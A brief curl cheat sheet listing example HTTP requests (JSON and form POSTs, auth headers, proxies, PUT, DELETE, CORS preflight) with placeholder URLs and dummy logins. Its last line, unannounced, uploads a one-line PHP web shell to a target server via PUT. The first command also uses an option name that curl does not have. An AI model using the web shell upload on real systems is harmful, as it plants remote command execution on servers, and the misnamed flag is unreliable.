A quick cheat sheet for curl
curl --connection-timeout 5 <URL>
curl -X POST <URL> -H 'Content-Type: application/json' -d '{"login":"my_login","password":"my_password"}'
curl -X POST <URL> -H "Content-Type: application/json" -d '{"productId": 123456, "quantity": 100}'
curl -d @data.json <URL>
curl <URL> -x myproxy.com:8080 -U login:password
curl <URL> -H "Accept: application/json" -H "Authorization: Bearer {token}"
curl <URL> -H "Accept: application/json"
curl -X POST <URL> -H "Content-Type: application/x-www-form-urlencoded" -d "param1=value1¶m2=value2"
curl -X POST <URL> -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{"Id": 78912, "Quantity": 1, "Price": 19.00}'
curl -X POST <URL> -H "Content-Type: application/xml" -H "Accept: application/xml" -d "<Request><Login>my_login</Login><Password>my_password</Password></Request>"
curl <URL> -H "Accept: application/xml"
curl -X PUT <URL> -d "PUT request data"
curl -X DELETE <URL> -H "Accept: application/json"
curl https://api.reqbin.com/api/v1/requests -X OPTIONS -H "Access-Control-Request-Method: POST" -H "Access-Control-Request-Headers: content-type" -H "Origin: https://reqbin.com"
curl -H "Origin: https://example.reqbin.com" https://sample-site.com
curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"
curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"
curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"
curl https://sample-site.com/get/json -H "Content-Type: application/json" -H "Accept: application/json"
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php